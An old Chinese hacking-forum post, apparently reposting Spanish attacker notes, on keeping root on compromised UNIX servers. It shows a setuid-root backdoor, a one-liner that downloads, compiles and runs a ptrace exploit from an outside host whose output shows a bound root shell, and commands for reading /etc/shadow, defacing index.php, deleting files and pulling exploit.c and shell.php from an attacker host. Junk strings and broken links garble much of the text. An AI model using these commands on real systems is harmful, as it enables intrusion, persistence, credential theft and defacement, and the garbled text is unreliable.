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总结UNIX成为root以后保持权限的方法

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发表于 2005-2-4 23:57 |只看该作者 |倒序浏览
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<><FONT color=#ff0000>by:cnbird</FONT></P>8 ^4 |$ U" z; Y
<>1.</P>$ C9 C" S; V! ^& g, _$ Q
<>[cnbird@localhost tmp]#id</P>6 z- ]  E3 V6 @0 O9 h' e
<>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)</P>
% c& P" z' \# d2 R, w4 _" x3 t<>[cnbird@localhost tmp]#cp `which id ` .</P>
  H. J" o$ e# Y& X9 S<>[cnbird@localhost tmp]#chown root ./id</P>: a( n5 M: N( C* N, o6 ^. {. f0 J
<>[cnbird@localhost tmp]#chmod 755 ./id ; chmod u+s ./id</P>8 m  R& q/ }5 P# n0 ^6 W6 C
<>[cnbird@localhost tmp]#ls -l ./id</P>
1 ]; I3 Y: ^" U$ I<>-rwsr-xr-x 1 root root 9264 Mar 8 21:36 ./id*</P>
" J* D. x+ S9 p' x5 b7 d7 ~9 v4 m<>[cnbird@localhost tmp]#exit</P>) z) R; }, E8 J1 A2 r9 P. V
<>[cnbird@localhost tmp]$id</P>
# C! R4 v- Q1 v4 q% G& N3 `<>uid=500(cnbird) gid=500(cnbird) groups=500(cnbird)</P>  a$ y5 w, J4 _9 D, ~; D0 C
<>[cnbird@localhost tmp]$./id </P>5 a& q8 p* G/ S+ S  i+ @5 D2 C& ?
<>uid=500(cnbird) gid=500(cnbird) euid=0(root) groups=500(cnbird)</P>
* S3 F, w' Z' i/ d$ n' [8 J. T) h$ }<>2.利用ptrace成为root的方法</P>, v# u$ G1 m" w$ s) _. t
<>[bash]# cd /tmp/; wget <a href="http://delivered.informaticahispana.org/ptrace.c" target="_blank" ><FONT color=#0000ff>http://delivered.informaticahispana.org/ptrace.c</FONT></A>; gcc ptrace.c -o ptrace; chmod -c 777 ptrace; ./ptrace: n$ x" F9 t" R- j( t
-&gt; Parent's PID is 2313. Child's PID is 2314.
' i" U/ Q1 ~4 T: v. ]' u-&gt; Attaching to 2315...: N8 W: T, _" G( h2 v
-&gt; Got the thread!!' K8 q* e: s/ f+ K; n$ M) o) S4 v
-&gt; Waiting for the next signal...
/ T$ n" S! {# Q-&gt; Injecting shellcode at 0x4000e85d0 `& M! [  i" q& w! i3 ]& s% a
-&gt; Bind root shell on port 24876... =p$ o/ x1 X8 r) l" l" T) L
-&gt; Detached from modprobe thread.# Q5 |3 T7 f2 i6 e3 j
-&gt; Committing suicide.....</P># X, s  n6 a9 e, L3 J1 q
<>[bash]# id
! O3 n7 Q& V" X0 ouid=0(root) gid=0(root) groups=0(root)</P>+ n* }7 ]  @+ ~
<>ara ver los dominios que hay en el server:( D6 L8 ~0 u* `, p; y2 q  a
---------------------------------------------------------, n% W* d1 T5 q% s/ q
cat /etc/httpd/conf/httpd.conf|grep ServerName &lt;&lt; Solo salen los dominios
! b; X& K$ q) g7 E) _* Mcat /etc/httpd/conf/httpd.conf &lt;&lt; Unicamente los puros dominios
; J6 {, S3 }! s) ^9 Icat /etc/localdomains &lt;&lt; Unicamente los dominios locales
5 a! z* I! D( n; ^7 A$ w+ l4 b/ {cat /etc/trueuserdomains &lt;&lt; Revela los verdades propietarios de cada dominio 4 }5 I, J! W; k) S0 z# B$ @, M
cat /etc/userdomains &lt;&lt; Este es el mas comun
0 h& H1 e  q! Y- a; l- `- n1 ^& U  n---------------------------------------------------------</P>
# X/ v% U# R+ T; p$ \: E<>ara ver la version de kernel:# L; \9 ]# o( }, p% a0 a
---------------------------------------------------------
% _  S8 P7 M) V! ~0 C! juname -a &lt;&lt;Te sale algo asi Linux itys.host4u.net 2.4.20....., 2.4.20 viene siendo la version del kernel.' D+ w! S9 m: T9 p: }: G! o6 e
---------------------------------------------------------</P>: o9 g2 l# Z( ]1 |" ~3 T1 X
<>ara modificar un index ya existente:
8 k) R  Z/ e: T0 W8 J; ~! |---------------------------------------------------------0 G& L3 l/ E" S" U" j+ E
echo "RootBox was OwNz You"&gt;index.php &lt;&lt;sobreescribe el archivo index.php con nuevo contenido
4 I( v" L" U: G. q+ \---------------------------------------------------------</P>3 X: E' c4 R/ u* x
<>ara subir, compilar, darle permisos de ejecucion y ejecutar un exploit:
" B* j# a7 E2 x---------------------------------------------------------
3 ~  _$ ]3 }& v5 gcd /tmp/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/exploit.c"&gt;<FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/exploit.c</FONT></A> &lt;&lt;aqui subimos el exploit
1 t2 p) r" }  ~4 x) l8 b* p( Y! Ncd /tmp/;cc exploit.c -o exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui lo compilamos con el nombre de "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
: R5 X5 f* a5 Ucd /tmp/;chmod -c 777 exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui le damos permisos de ejecucion a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"4 V- G- Q5 E$ |, P+ l
cd /tmp/;./exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui estamos ejecutando a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado".
7 ?- F' r5 m& o6 z! dHasta aqui termina el proceso para un exploit.
0 e; E! J. U' q* `( d) w& n---------------------------------------------------------</P>
! M2 |3 W8 W! G8 a$ U. P<>Ver las contrase&ntilde;as encriptadas de todos los usuarios:+ V( ?, v7 f# i, ]9 h! l4 b
---------------------------------------------------------
8 O1 p7 z! _' V- m/ F- U. Qcat /etc/shadow &lt;&lt;Solo funciona si tienes permisos como root.
0 A% R1 v8 ~, D3 \/ l  D---------------------------------------------------------</P>
9 C8 {0 B4 ]! U' s" p<>Borrar un Ficher
3 y3 Q+ S2 Z# A- e---------------------------------------------------------8 H" h3 h- U9 H) M& D( e* A
cd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;rm import.htm&lt;&lt;aqui estan borrando con el comando rm, el fichero import.htm! k0 S4 F0 @5 v: l1 X& G  j" l+ M
---------------------------------------------------------</P>4 d6 ]3 q6 n4 W* a0 T5 ^1 A) ^
<>Subir un ficher
! X6 O9 ?7 P: D: C; ~4 b3 y2 u) x. M---------------------------------------------------------, V1 y' T8 @! T5 q! w& m
cd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/shell.php&lt;<ESTAMOS"><FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/shell.php&lt;&lt;Estamos</FONT></A> subiendo el fichero shell.php</P>: s' m6 n; o! j1 m2 [+ V
<>& N. \4 `+ O& e
<CENTER></CENTER>
zan
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